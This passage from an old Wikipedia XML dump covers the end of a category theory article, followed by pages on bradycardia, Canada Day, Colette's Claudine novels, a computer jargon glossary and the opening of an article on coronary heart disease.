Special categories called [[topos|topoi]] can even serve as an alternative to [[axiomatic set theory]] as the foundation of mathematics. These broadly-based foundational applications of category theory are contentious; but they have been worked out in quite some detail, as a commentary on or basis for [[constructive mathematics]]. One can say, in particular, that axiomatic set theory still hasn't been replaced by the category-theoretic commentary on it, in the everyday usage of mathematicians. The idea of bringing category theory into earlier, undergraduate teaching (signified by the difference between the ''Birkhoff-Mac Lane'' and later ''Mac Lane-Birkhoff'' [[abstract algebra]] texts) has hit noticeable opposition.

[[Categorical logic]] is now a well-defined field based on [[type theory]] for [[intuitionistic logic]]s, with application to the theory of [[functional programming]] and [[domain theory]], all in a setting of a [[cartesian closed category]] as non-syntactic description of a [[lambda calculus]]. At the very least, the use of category theory language allows one to clarify what exactly these related areas have in common (in an [[Wiktionary:abstract|abstract]] sense).

==Categories, objects, and morphisms==

''Main articles: [[category (category theory)|category]], [[morphism]]''

A ''[[category (category theory)|category]]'' ''C'' consists of
* a [[Class (set theory)|class]] ob(''C'') of ''objects'':
* a class hom(''C'') of ''[[morphism]]s''. Each morphism ''f'' has a unique ''source object a'' and ''target object b''. We write ''f'': ''a'' &amp;rarr; ''b'', and we say &quot;''f'' is a morphism from ''a'' to ''b''&quot;. We write hom(''a'', ''b'') [or Hom(''a'', ''b''), or hom&lt;sub&gt;''C''&lt;/sub&gt;(''a'', ''b'')] to denote the ''hom-class'' of all morphisms from ''a'' to ''b''. (Some authors write Mor(''a'', ''b'') or C(''a'', ''b'').)
* for every three objects ''a'', ''b'' and ''c'', a binary operation hom(''a'', ''b'') &amp;times; hom(''b'', ''c'') &amp;rarr; hom(''a'', ''c'') called ''composition of morphisms''; the composition of ''f'' : ''a'' &amp;rarr; ''b'' and ''g'' : ''b'' &amp;rarr; ''c'' is written as ''g'' &amp;#9675; ''f'' or ''gf'' (Some authors write ''fg''.)

such that the following axioms hold:

* (associativity) if ''f'' : ''a'' &amp;rarr; ''b'', ''g'' : ''b'' &amp;rarr; ''c'' and ''h'' : ''c'' &amp;rarr; ''d'' then ''h'' &amp;#9675; (''g'' &amp;#9675; ''f'') = (''h'' &amp;#9675; ''g'') &amp;#9675; ''f'', and
* (identity) for every object ''x'', there exists a morphism 1&lt;sub&gt;''x''&lt;/sub&gt; : ''x'' &amp;rarr; ''x'' called the ''identity morphism for x'', such that for every morphism ''f'' : ''a'' &amp;rarr; ''b'', we have 1&lt;sub&gt;''b''&lt;/sub&gt; &amp;#9675; ''f'' = ''f'' = ''f'' &amp;#9675; 1&lt;sub&gt;''a''&lt;/sub&gt;.

From these axioms, one can prove that there is exactly one identity morphism for every object. Some authors use a slight variation of the definition in which each object is identified with the corresponding identity morphism.

Relations among morphisms (such as ''fg'' = ''h'') can most conveniently be represented with [[commutative diagram]]s, where the objects are represented as points and the morphisms as arrows. Indeed, the morphisms of a category are sometimes called ''arrows'' due to the influence of commutative diagrams.

===Some properties of morphisms===

A morphism ''f'' : ''a'' &amp;rarr; ''b'' is called
* a ''[[monomorphism]]'' (or ''monic'') if ''fg&lt;sub&gt;1&lt;/sub&gt;'' = ''fg&lt;sub&gt;2&lt;/sub&gt;'' implies ''g&lt;sub&gt;1&lt;/sub&gt;'' = ''g&lt;sub&gt;2&lt;/sub&gt;'' for all morphisms ''g''&lt;sub&gt;1&lt;/sub&gt;, ''g&lt;sub&gt;2&lt;/sub&gt;'' : ''x'' &amp;rarr; ''a''.
* an ''[[epimorphism]]'' (or ''epic'') if  ''g&lt;sub&gt;1&lt;/sub&gt;f'' = ''g&lt;sub&gt;2&lt;/sub&gt;f'' implies ''g&lt;sub&gt;1&lt;/sub&gt;'' = ''g&lt;sub&gt;2&lt;/sub&gt;'' for all morphisms ''g&lt;sub&gt;1&lt;/sub&gt;'', ''g&lt;sub&gt;2&lt;/sub&gt;'' : ''b'' &amp;rarr; ''x''.
* an ''[[isomorphism]]'' if there exists a morphism ''g'' : ''b'' &amp;rarr; ''a'' with ''fg'' = 1&lt;sub&gt;''b''&lt;/sub&gt; and ''gf'' = 1&lt;sub&gt;''a''&lt;/sub&gt;.{{ref|isomorphism-counterexample}}
* an ''[[endomorphism]]'' if ''a'' = ''b''. The class of endomorphisms of ''a'' is denoted end(''a'').
* an ''[[automorphism]]'' if ''f'' is both an endomorphism and an isomorphism. The class of automorphisms of ''a'' is denoted aut(''a'').

{{note|isomorphism-counterexample}} Note that a morphism which is both epic and monic is not necessarily an isomorphism! For example, in the category consisting of two objects A and B, the identity morphisms, and a single morphism f from A to B, f is both epic and monic but is not an isomorphism.

==Functors==

''Main article: [[functor]]''

Functors are structure-preserving maps between categories. They can be thought of as morphisms in the category of all (small) categories.

A (''covariant'') ''functor'' ''F'' from the category ''C'' to the category ''D''
* associates to each object ''x'' in ''C'' an object ''F''(''x'') in ''D'';
* associates to each morphism ''f'' : ''x'' &amp;rarr; ''y'' a morphism ''F''(''f'') : ''F''(''x'') &amp;rarr; ''F''(''y'')

such that the following two properties hold:

* ''F''(1&lt;sub&gt;''x''&lt;/sub&gt;) = 1&lt;sub&gt;''F''(''x'')&lt;/sub&gt; for every object ''x'' in ''C''.
* ''F''(''g'' &amp;#9675; ''f'') = ''F''(''g'') &amp;#9675; ''F''(''f'') for all morphisms ''f'' : ''x'' &amp;rarr; ''y'' and ''g'' : ''y'' &amp;rarr; ''z''.

A ''contravariant functor'' ''F'' from ''C'' to ''D'' is a functor that &quot;turns morphisms around&quot; (&quot;reverses all the arrows&quot;). Specifically, ''F'' is contravariant if whenever ''f'' : ''x'' &amp;rarr; ''y'' is a morphism in ''C'', then ''F''(''f'') : ''F''(''y'') &amp;rarr; ''F''(''x''). The quickest way to define a contravariant functor is as a covariant functor from the opposite category ''C''&lt;sup&gt;op&lt;/sup&gt; to ''D''.

==Natural transformations and isomorphisms==

''Main article: [[natural transformation]]''

A ''natural transformation'' is a relation between two functors. Functors often describe &quot;natural constructions&quot; and natural transformations then describe &quot;natural homomorphisms&quot; between two such constructions. Sometimes two quite different constructions yield &quot;the same&quot; result; this is expressed by a natural isomorphism between the two functors.

If ''F'' and ''G'' are (covariant) functors between the categories ''C'' and ''D'', then a natural transformation from ''F'' to ''G'' associates to every object ''x'' in ''C'' a morphism &amp;eta;&lt;sub&gt;''x''&lt;/sub&gt; : ''F''(''x'') &amp;rarr; ''G''(''x'') in ''D'' such that for every morphism ''f'' : ''x'' &amp;rarr; ''y'' in ''C'', we have &amp;eta;&lt;sub&gt;''y''&lt;/sub&gt; &amp;#9675; ''F''(''f'')  = ''G''(''f'') &amp;#9675; &amp;eta;&lt;sub&gt;''x''&lt;/sub&gt;; this means that the following diagram is [[commutative diagram|commutative]]:
[[Image:NaturalTransformation-01.png|center|Commutative diagram defining natural transformations]]

The two functors ''F'' and ''G'' are called ''naturally isomorphic'' if there exists a natural transformation from ''F'' to ''G'' such that &amp;eta;&lt;sub&gt;''x''&lt;/sub&gt; is an isomorphism for every object ''x'' in ''C''.

==Universal constructions, limits, and colimits==

''Main articles: [[universal property]], [[limit (category theory)]]''

Using the language of category theory, many areas of mathematical study can be cast into appropriate categories, such as the categories of all sets, groups, topologies, and so on. These categories surely have some objects that are &quot;special&quot; in a certain way, such as the [[empty set]] or the [[product topology|product of two topologies]]. Yet, in the definition of a category, objects are considered to be atomic; i.e. we do not know, whether an object ''A'' is a set, a topology, or any other abstract concept. Hence, the challenge is to define special objects without referring to the internal structure of these objects. But how can we define the empty set without referring to elements, or the product topology without referring to open sets?

The solution is to characterize these objects in terms of their relations to other objects, as given by the morphisms of the respective categories. Thus the task is to find [[universal property|universal properties]] that uniquely determine the objects of interest. Indeed, it turns out that numerous important constructions can be described in a purely categorical way. The central concept which is needed for this purpose is called categorical ''limit'', and can be dualized to yield the notion of a ''colimit''.

==Equivalent categories==

''Main articles: [[equivalence of categories]], [[isomorphism of categories]]''

It is a natural question to ask, under which conditions two categories can be considered to be &quot;essentially the same&quot;, in the sense that theorems about one category can readily be transformed into theorems about the other category. The major tool one employs to describe such a situation is called ''equivalence of categories''. It is given by appropriate functors between two categories. Categorical equivalence has found numerous applications in mathematics.

==Further concepts and results==

The definitions of categories and functors provide only the very basics of categorical algebra. Additional important topics are listed below. Although there are strong interrelations between all of these topics, the given order can be considered as a guideline for further reading.

* The [[functor category]] ''D''&lt;sup&gt;''C''&lt;/sup&gt; has as objects the functors from ''C'' to ''D'' and as morphisms the natural transformations of such functors. The [[Yoneda lemma]] is one of the most famous basic results of category theory; it describes representable functors in functor categories.
* [[Dual (category theory)|Duality]]: Every statement, theorem, or definition in category theory has a ''dual'' which is essentially obtained by &quot;reversing all the arrows&quot;. If one statement is true in a category ''C'' then its dual will be true in the dual category ''C''&lt;sup&gt;op&lt;/sup&gt;. This duality, which is transparent at the level of category theory, is often obscured in applications and can lead to surprising relationships.
* [[Adjoint functors]]: A functor can be left (or right) adjoint to another functor that maps in the opposite direction. Such a pair of adjoint functors typically arises from a construction defined by a universal property; it can be seen as a more abstract and powerful view on universal properties.

==Higher-dimensional categories==

Many of the above concepts, especially equivalence of categories, adjoint functor pairs, and functor categories, can be situated into the context of ''higher-dimensional categories''. Briefly, if we consider a morphism between two objects as a &quot;process taking us from one object to another&quot;, then higher-dimensional categories allow us to profitably generalise this by considering &quot;higher-dimensional processes&quot;.

For example, a (strict) [[2-category]] is a category together with &quot;morphisms between morphisms&quot;, i.e. processes which allow us to transform one morphism into another. We can then &quot;compose&quot; these &quot;bimorphisms&quot; both horizontally and vertically, and we require a 2-dimensional &quot;exchange law&quot; to hold, relating the two composition laws. In this context, the standard example is '''Cat''', the 2-category of all (small) categories, and in this example, bimorphisms of morphisms are simply [[natural transformation]]s of morphisms in the usual sense. Another basic example is to consider a 2-category with a single object&amp;mdash;these are essentially [[monoidal category|monoidal categories]]. [[bicategory|Bicategories]] are a weaker notion of 2-dimensional categories where the composition of morphisms is not strictly associative, but only associative &quot;up to&quot; an isomorphism.

This process can be extended for all [[natural number]]s ''n'', and these are called [[n-category|''n''-categories]]. There is even a notion of ''&amp;omega;-category'' corresponding to the [[ordinal number]] &amp;omega;. For a conversational introduction to these ideas, see [http://math.ucr.edu/home/baez/week73.html John Baez: The Tale of ''n''-categories].

== See also ==
{{Wikibookspar|Abstract algebra|Category theory}}
* [[List of category theory topics]]
* [[List of publications in mathematics#Category theory| Important publications in category theory]]
* [[Glossary of category theory]]

==References==

* Adámek, Ji&amp;#345;í, Herrlich, Horst, &amp; Strecker, George E. (1990). [http://www.math.uni-bremen.de/~dmb/acc.pdf ''Abstract and Concrete Categories'']. Originally publ. John Wiley &amp; Sons. ISBN 0-471-60922-6. (now free on-line edition)
* Barr, Michael, &amp; Wells, Charles (2002). [http://www.cwru.edu/artsci/math/wells/pub/ttt.html ''Toposes, Triples and Theories'']. (revised and corrected free online version of ''Grundlehren der mathematischen Wissenschaften (278).'' Springer-Verlag,1983)
* Borceux, Francis (1994). ''Handbook of Categorical Algebra.''. Vols. 50-52 of ''Encyclopedia of Mathematics and its Applications.'' Cambridge: Cambridge University Press.
* Lawvere, William, &amp; Schanuel, Steve. (1997). ''Conceptual Mathematics: A First Introduction to Categories''. Cambridge: Cambridge University Press.
* Mac Lane, Saunders (1998). ''[[Categories for the Working Mathematician]]'' (2nd ed.). Graduate Texts in Mathematics 5. Springer. ISBN 0-387-98403-8.

==External links==
* [http://plato.stanford.edu/entries/category-theory/ &quot;Category Theory&quot; in ''Stanford Encyclopedia of Philosophy'']
* [http://www.mta.ca/~cat-dist/categories.html Homepage of the Categories mailing list], with extensive list of resources
* [http://us.geocities.com/alex_stef/mylist.html ''Category Theory'' section of Alexandre Stefanov's list of free online mathematics resources]
* [http://ex-code.com/b2evolution/index.php/math/2005/08/12/p49 Discussion about alternative definitions of category with multiple sources and destinations for each morphism]

[[Category:Category theory|*]]
[[Category:Higher category theory]]
{{Mathematics-footer}}

[[de:Kategorientheorie]]
[[es:Categorías y fundamentos]]
[[eo:Teorio De Kategorioj]]
[[fr:Théorie des catégories]]
[[it:Teoria delle categorie (matematica)]]
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  <page>
    <title>Comic</title>
    <id>5870</id>
    <revision>
      <id>24164979</id>
      <timestamp>2005-09-27T16:23:29Z</timestamp>
      <contributor>
        <username>Karmosin</username>
        <id>181365</id>
      </contributor>
      <comment>Redirect to [[comics]] as per talkpage.</comment>
      <text xml:space="preserve">#redirect [[comics]]</text>
    </revision>
  </page>
  <page>
    <title>Cardiac arrhythmia/tachycardia</title>
    <id>5871</id>
    <revision>
      <id>15904060</id>
      <timestamp>2003-01-12T08:03:21Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <minor />
      <comment>redirect, gonna merge</comment>
      <text xml:space="preserve">#redirect [[tachycardia]]</text>
    </revision>
  </page>
  <page>
    <title>Bradycardia</title>
    <id>5872</id>
    <revision>
      <id>39109610</id>
      <timestamp>2006-02-10T19:59:34Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Bringing &quot;External links&quot; and &quot;See also&quot; sections in line with the [[Wikipedia:Manual of Style|Manual of Style]].</comment>
      <text xml:space="preserve">{{SignSymptom infobox |
  Name        = Bradycardia |
  ICD10       = R00.1 |
  ICD9        = |
}}
'''Bradycardia''', as applied in adult medicine, is defined as a [[heart rate]] of under 60 beats per minute, though it is seldom symptomatic until the rate drops below 50 beat/min [http://www.emedicine.com/emerg/topic534.htm].
It is also less commonly known as brachycardia. Trained [[athlete]]s tend to have slow resting heart rates, and resting bradycardia in athletes should not be considered abnormal if the individual has no symptoms associated with it.

The term relative bradycardia is used to explain a heart rate that, while not technically below 60 beats per minute, is considered too slow for the individual's current medical condition.

This [[cardiac arrhythmia]] can be underlied by several causes, which are best divided into cardiac and non-cardiac causes.
Non-cardiac causes are usually secondary, and can involve [[recreational drug use|drug]] use or [[drug abuse|abuse]]; [[metabolism|metabolic]] or [[endocrine]] issues, especially in the [[thyroid]]; an [[electrolyte]] imbalance; [[:Category:Neurology|neurologic]] factors; autonomic reflexes; situational factors such as prolonged bed rest; and [[autoimmune|autoimmunity]].
Cardiac causes include acute or chronic [[ischemic heart disease]], vascular [[heart disease]], valvular heart disease, or degenerative primary electrical disease.
Ultimately, the causes act by three mechanisms: depressed automaticity of the heart, conduction block, or escape pacemakers and rhythms.

== Causes ==
There are generally two types of problems that result in bradycardias: disorders of the [[sinus node]], and disorders of the [[atrioventricular node]] (AV node).

With sinus node dysfunction (sometimes called [[sick sinus syndrome]]), there may be disordered [[automaticity]] or impaired conduction of the impulse from the sinus node into the surrounding atrial tissue (an &quot;exit block&quot;).
It is difficult and sometimes impossible to assign a mechanism to any particular bradycardia, but the underlying mechanism is not clinically relevant to treatment, which is the same in both cases of sick sinus syndrome: a permanent [[pacemaker]].

Atrioventricular conduction disturbances (aka an AV block) may result from impaired conduction in the AV node, or anywhere below it, such as in the His bundle.

Patients with bradycardia have likely acquired it, as opposed to having it [[congenital]]ly.
Also, bradycardia is more common in older patients, since both cardiac and non-cardiac causes are more likely in the [[elderly]].

== Management ==
There are two main reasons for treating any [[cardiac arrhythmia]]s.
With bradycardia, the first is to address the associated symptoms, such as [[Fatigue (physical)|fatigue]], limitations on how much an individual can physical exert, [[fainting]] (syncope), [[dizziness]] or lightheadedness, or other vague and non-specific symptoms.
The other reason to treat bradycardia is if the person's ultimate outcome (prognosis) will be changed or impacted by the bradycardia.
Treatment in this vein depends on whether any symptoms are present, and what the underlying cause is.
Primary or [[idiopathic]] bradycardia is treated symptomatically if it is significant, and the underlying cause is treated if the bradycardia is secondary.

==See also==
* [[Tachycardia]]

==External links==
*[http://www.emedicine.com/emerg/topic534.htm Sinus Bradycardia] at eMedicine

[[Category:Cardiology]]
[[Category:Symptoms]]

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  <page>
    <title>Canada Day</title>
    <id>5873</id>
    <revision>
      <id>40525557</id>
      <timestamp>2006-02-21T05:19:23Z</timestamp>
      <contributor>
        <username>JimWae</username>
        <id>61906</id>
      </contributor>
      <comment>for consistency</comment>
      <text xml:space="preserve">[[Image:Canada_Day_2000_Wellington.jpg|right|thumb|300px|Canada Day in [[Ottawa]].]]

'''Canada Day''' ([[French language|French]]: ''Fête du Canada'') is [[Canada]]'s [[national holiday]]. It is celebrated on [[1 July]] annually. 

==History==
Canada Day celebrates the creation of the [[dominion]] of [[Canada]] through the [[British North America Act 1867|British North America Act]] on [[1 July]] [[1867]], uniting three [[United Kingdom of Great Britain and Ireland|British]] territories &amp;mdash; the [[Province of Canada]] (southern [[Ontario]] and southern [[Quebec]]), [[Nova Scotia]], and [[New Brunswick]] &amp;mdash; into a [[federation]]. (See [[Canadian Confederation]].)

The holiday itself was formally established in [[1879]] and was originally called ''[[Dominion Day]]'', making reference to the Canadian-originated term &quot;dominion&quot; to describe the political union, at a time when the [[Fathers of Confederation]] were hesitant to use a name such as the Kingdom of Canada. The name was changed to ''Canada Day'' on [[27 October]] [[1982]], largely harking of the adoption of the earlier [[Canada Act 1982]].

On Dominion Day [[1923]], the [[Chinese Immigration Act of 1923]] went into effect. Until the act was repealed in 1947, many [[Chinese-Canadian]]s referred to [[1 July]] as &quot;Humiliation Day&quot; and refused to celebrate Canada's birthday.

It is a federal holiday celebrated by all provincial governments and most businesses across Canada. [[Quebec]] also has [[Moving Day]] on [[1 July]], due to the fact that most leases there begin and end on that day, with many people changing residences.

==Newfoundland and Labrador Memorial Day==
In [[Newfoundland and Labrador]], [[1 July]] is recognised as Memorial Day, and commemorates the [[Newfoundland Regiment]]'s heavy losses during [[World War I]], at [[Beaumont Hamel]], on the [[first day on the Somme|first day of the Battle of the Somme]].

==Activities==
[[Image:CanadaDayIqaluit19990701 CopyrightKaihsuTai.JPG|thumb|right|Canada Day celebrations in Iqaluit, 1999.]]
Canada Day is generally marked by patriotic celebrations. Most cities have organized celebrations, often featuring fireworks. Entertainment usually has a Canadian theme. [[National Flag of Canada|Canadian flag]]s abound, and some go as far as to paint their faces in Canadian [[national colours]] (red and white).

The celebrations in [[Ottawa]] are particularly lavish. Every Canada Day, hundreds of thousands gather on [[Parliament Hill]] to celebrate Canada's birth.

==Trivia==
*One time-honored [[United States of America|American]] schoolkids' riddle is, &quot;Does Canada have a [[Independence Day (United States)|Fourth of July]]?&quot;
*One answer is, &quot;Yes, only it comes on the ''First''!&quot;

==See also==
*[[Canada]]
*[[Dominion Day]]
*[[Moving Day]]
*[[National Flag of Canada Day]]

==External links==
*[http://www.pch.gc.ca/special/canada/index_e.cfm Government of Canada site on Canada Day]
*[http://www.ncc.gc.ca/canadaday/index_e.asp National Capital Commission]

[[Category:Holidays in Canada]]
[[Category:History of Canada]]

[[es:Día de Canadá]]
[[fr:Fête du Canada]]
[[he:יום קנדה]]
[[zh:加拿大日]]</text>
    </revision>
  </page>
  <page>
    <title>Claudine</title>
    <id>5874</id>
    <revision>
      <id>24512178</id>
      <timestamp>2005-10-01T22:06:18Z</timestamp>
      <contributor>
        <username>Mairi</username>
        <id>95631</id>
      </contributor>
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">:''For the 1974 film, see ''[[Claudine (movie)]]''

'''Claudine''' is the protagonist of the early novels of the French author [[Colette]], published under the name of her husband 'Willy'.

* ''Claudine à l'école'' (1900)
* ''Claudine à Paris'' (1901)
* ''Claudine en ménage'' (1902)
* ''Claudine s'en va'' (1903)


{{fict-char-stub}}
[[Category:Series of books]]</text>
    </revision>
  </page>
  <page>
    <title>Computer jargon</title>
    <id>5875</id>
    <revision>
      <id>41684436</id>
      <timestamp>2006-03-01T01:19:22Z</timestamp>
      <contributor>
        <username>Mailer diablo</username>
        <id>131286</id>
      </contributor>
      <comment>[[Wikipedia:Articles for deletion/Computer jargon]]</comment>
      <text xml:space="preserve">(''arcane computer acronym, terminology or technology'')

(Computer [[jargon]] must be distinguished from [[hacker]] [[slang]], which is the language of a certain subculture of people involved with computers. See [[jargon file]].)

'''BTKATC''' - '''B'''etween '''T'''he '''K'''eyboard '''A'''nd '''T'''he '''C'''hair; An acronym commonly used in the Technical Support Realm and in other IT instances. An error refering to the source of a linguistic or programming error. Also spelled &quot;BCAK&quot; (Between Chair And Keyboard).

'''[[CAD]]''' -  '''C'''omputer '''A'''ided '''D'''esign; particular software design program, esp. architectural

'''[[CAM]]''' -  '''C'''omputer '''A'''ided '''M'''anufacturing; particular software design program used in manufacturing operations, esp. [[numerical control machine]]s

'''[[CLI]]''' - Command Line Interface. A type of [[UI]] consisting of a text prompt to which you give commands.

'''[[Cyclic redundancy check|CRC]]''' - Cyclic Redundancy Check; a specific type of checksum added data that can be used to verify that the data was received without bits being dropped during transimisson or storage/retrival.  The calculation is done, serially, on the data using a polynomial which is selected to maximize the probability that any change in the data will be detected.

'''[[ENIAC]]''' - the '''E'''lectronic '''N'''umerical '''I'''ntegrator '''A'''nd '''C'''omputer.  Arguably, the first all electronic digital computer started in 1943 and finished in 1946.  Some claim that Goliath really was the first, but ENIAC has the best press agent.

'''Gesture recognition''' - interpreting body movements into text, as a command (recognizing handwriting, signlanguage, etc)

'''Facemail''' - a method of communication involving a face-to-face discussion. Becoming extinct.

'''[[FIFO]]''' - First in, first out structure. This is a [[queue]].

'''[[GIGO]]''' - Garbage in garbage out. A reply to the explanation &quot;The computer made an error.&quot;

'''[[GOMS]]''' - '''G'''oals, '''O'''perators, '''M'''ethods, and '''S'''election rules; hard science approach to HCI developed by Card, Moran &amp; Newell in spelled out in their book &quot;The Psychology of Human Computer Interaction, 1983.

'''[[graphical user interface|GUI]]''' - '''G'''raphical '''U'''ser '''I'''nterface; Any interface that uses [[graphics]] to interact with the user. In modern parlance, is typically synonymous with [[WIMP (computing)|WIMP]]:  An interface based on the [[desktop]] [[metaphor]] that usually contains [[icons]], [[menus]] and [[Window (computer)|windows]]. 

'''[[Hypertext]]''' - A text organised in a nonlinear fashion, with links between pages providing possible directions in which to read on.

'''ID10T error''' - A way technical support people use to describe a less-than-competent user.  The characters 
resemble the word &quot;Idiot&quot;.

'''Interface''' - parts of the computer that we work with; two different subsystems transmitting one piece of information to another;give and take of information

'''KISS''' - Keep It Simple Stupid. Rule of thumb for software designers and network administrators - to minimize dispersion and error proneness, keep your designs small.

'''[[LIFO]]''' - Last in first out structure. A [[stack]].

'''MMI''' - '''M'''an '''M'''achine '''I'''nterface.

'''[[Nanotechnology]]''' - cellular, microscopic, level of technology

'''[[Newbie]]''' - (Also n00b and newb) a newcomer to a certain computer topic or program, usually seeking out help from more experienced users. Usually, newbie/newb is neutral, where noob/n00b is derogatory.

'''[[Comp]]''' - an abreviated form of &quot;computer&quot;.

'''Novice''' - a computer user that actually knows nothing, but boasts that they can figure it out.

'''[[PEBKAC]]''' - &quot;Problem Exists Between Keyboard And Chair&quot;.  Refers to a non-existent computer problem
that is actually just incompetence by the user.  Allegedly, some users have ignorantly but helpfully told each level of technical support that the previous level &quot;suspected a PEBKAC situation.&quot;  

'''[[Provisioning]]''' - Provisioning can be defined as the process of expediting all the tasks between receiving a request for a service (for example: access to a web-enabled application from a potential customer) and making that service available to the customer.

'''[[QFP]]''' - Quoted for permanence. 

'''[[RTFM]]''' - Read The Fucking Manual. Common answer to basic and often repeated questions, that could be avoided in the first place just by looking at the manual.

[[Safe semantics|Safe]] / [[Regular semantics|regular]] / [[Atomic semantics|atomic]] '''semantics''' - different guarantee levels for shared data

'''[[STFW]]''' - Search The Fucking Web. Common answer to basic and often repeated questions, that could be avoided in the first place just by searching for an answer on the web.

'''Treeware''' - paper version of something. As in, Bill Gates is reading the TreeWare version of the New York Times.

'''[[User interface|UI]]''' - User Interface, a way of controlling a computer or device. Can be graphical (see GUI) or not.

'''[[User-friendliness|User-Friendly]]''' - The degree to which a computer [[user interface]] is adapted to interaction with human usage behavior

'''Wetware''' - a sentient organic being. Usually used for humans, but with an implicit wider scope.

'''[[white box (computer hardware)]]''' - homebrew computer system

'''[[Widget]]''' - objects that make up interfaces, i.e. mouse, menus, textbox, buttons; basic tools and objects; a mini program, usually dependent on the internet, to facilitate the exchange of information. See [[DesktopX]], [[Konfabulator]] or [[Dashboard (software)]].

'''[[WYSIWYG]]''' - '''W'''hat '''Y'''ou '''S'''ee '''I'''s '''W'''hat '''Y'''ou '''G'''et (but not very often!) Most is WYSIAYG (...All You Get!). 
 
See also: [[jargon file]]

[[simple:Computer jargon]]
[[Category:Computing terminology]]</text>
    </revision>
  </page>
  <page>
    <title>Coronary heart disease</title>
    <id>5876</id>
    <revision>
      <id>42086407</id>
      <timestamp>2006-03-03T19:06:24Z</timestamp>
      <contributor>
        <ip>88.105.70.218</ip>
      </contributor>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Coronary heart disease |
  ICD10       = I20-I25 |
  ICD9        = {{ICD9|410}}-{{ICD9|414}}, {{ICD9|429.2}} |
}}
'''Coronary heart disease''' (CHD), also called '''coronary artery disease''' (CAD) and [[atherosclerosis|atherosclerotic]] heart disease, is the end result of the accumulation of [[atheroma|atheromatous plaques]] within the walls of the [[artery|arteries]] that supply the [[myocardium]] (the muscle of the [[heart]]).  While the symptoms and signs of coronary heart disease are noted in the advanced state of disease, most individuals with coronary heart disease show no evidence of disease for decades as the disease progresses before the first onset of symptoms, often a &quot;sudden&quot; [[myocardial infarction|heart attack]], finally arise.  After decades of progression, some of these [[atheroma|atheromatous plaque]]s may rupture and (along with the activation of the [[blood clot]]ting system) start limiting [[blood flow]] to the [[cardiac muscle|heart muscle]]. The disease is the most common cause of [[cardiac arrest|sudden death]].

==Overview==
Atherosclerotic heart disease can be thought of as a wide spectrum of disease of the heart. At one end of the spectrum is the [[asymptomatic]] individual with atheromatous streaks within the walls of the coronary arteries (the arteries of the heart).  These streaks represent the early stage of atherosclerotic heart disease and do not obstruct the flow of blood.  A [[coronary angiogram]] performed during this stage of disease may not show any evidence of coronary artery disease, because the lumen of the coronary artery has not decreased in caliber.

Over a period of many years, these streaks increase in thickness.  While the atheromatous plaques initially expand into the walls of the arteries, eventually they will expand into the lumen of the vessel, affecting the flow of blood through the arteries.  While it was originally believed that the growth of atheromatous plaques was a slow, gradual process, some recent evidence suggests that the gradual buildup of plaque may be complemented by small plaque ruptures which cause the sudden increase in the plaque burden due to accumulation of thrombus material.

Atheromatous plaques that cause obstruction of less than 70 percent of the diameter of the vessel rarely cause symptoms of obstructive coronary artery disease.  As the plaques grow in thickness and obstruct more than 70 percent of the diameter of the vessel, the individual develops symptoms of obstructive coronary artery disease.  At this stage of the disease process, the patient can be said to have [[ischemic heart disease]].  The symptoms of ischemic heart disease are often first noted during times of increased workload of the heart.  For instance, the first symptoms include exertional [[angina]] or decreased exercise tolerance.

As the degree of coronary artery disease progresses, there may be near-complete obstruction of the [[lumen]] of the coronary artery, severely restricting the flow of oxygen-carrying blood to the myocardium.  Individuals with this degree of coronary heart disease typically have suffered from one or more [[myocardial infarction|myocardial infarctions]] (heart attacks), and may have signs and symptoms of chronic coronary ischemia, including symptoms of [[angina]] at rest and flash [[pulmonary edema]].

A distinction should be made between myocardial ischemia and myocardial infarction.  Ischemia means that the amount of oxygen supplied to the tissue is inadequate to supply the needs of the tissue.  When the myocardium becomes ischemic, it does not function optimally.  When large areas of the myocardium becomes ischemic, there can be impairment in the relaxation and contraction of the myocardium.  If the blood flow to the tissue is improved, myocardial ischemia can be reversed.  Infarction means that the tissue has undergone irreversible death due to lack of sufficient oxygen-rich blood.

An individual may develop a rupture of an atheromatous plaque at ''any'' stage of the spectrum of coronary heart disease. The acute rupture of a plaque may lead to an acute [[myocardial infarction]] (heart attack). It is unclear at present which plaques in an individual are more likely to rupture in the future and cause a heart attack.

==Pathophysiology==
Limitation of blood flow to the heart causes [[ischemia]] (cell starvation secondary to a lack of oxygen) of the myocardial cells.  When myocardial cells die from lack of [[oxygen]], this is called a [[myocardial infarction]] (commonly called a [[heart attack]]). It leads to [[cardiac muscle|heart muscle]] damage, [[cardiac muscle|heart muscle]] death and later scarring without [[cardiac muscle|heart muscle]] regrowth. 

Myocardial infarction usually results from the sudden occlusion of a coronary artery when a plaque ruptures, activating the clotting system and [[atheroma]]-clot interaction fills the lumen of the artery to the point of sudden closure. The typical [[stenosis|narrowing]] of the lumen of the [[coronary artery|heart artery]] before sudden closure is typically 20%, according to clinical research completed in the late 1990s and using [[IVUS]] examinations within 6 months prior to a [[heart attack]]. High grade [[stenosis|stenoses]] exceeding 75% blockage, such as detected by [[Cardiac stress test|stress test]]ing, were found to be responsible for only 14% of acute [[heart attack]]s. The events leading up to plaque rupture are only partially understood. [[Myocardial infarction]] is also caused, far less commonly, by spasm of the artery wall occluding the lumen, a condition also associated with [[atheroma]]tous plaque and CHD.

CHD is associated with [[Tobacco smoking|smoking]], [[obesity]], [[hypertension]] and a chronic sub-clinical lack of vitamin C. A family history of CHD is one of the strongest predictors of CHD.  Screening for CHD includes evaluating [[homocysteine]] levels, [[High density lipoprotein|high-density]] and [[Low density lipoprotein|low-density lipoprotein]] ([[cholesterol]]) levels and [[triglyceride]] levels.

==Angina==
The pain associated with very advanced CHD is known as [[angina]], and usually presents as a sensation of pressure in the chest, arm pain, jaw pain, and other forms of discomfort.  The word ''discomfort'' is preferred over the word ''pain'' for describing the sensation of [[angina]], because it varies considerably among individuals in character and intensity and most people do not perceive angina as [[pain]]ful, unless it is severe. There is evidence that angina and CHD present differently in women and men. 

[[Angina]] that occurs regularly with activity, upon awakening, or at other predictable times is termed stable angina and is associated with high grade [[stenosis|narrowing]]s of the [[heart]] [[artery|arteries]].  The symptoms of angina are often treated with nitrate preparations such as [[nitroglycerin]], which come in short-acting and long-acting forms, and may be administered transdermally, sublingually or orally. Many other more effective treatments, especially of the underlying [[atheroma]]tous disease, have been developed.

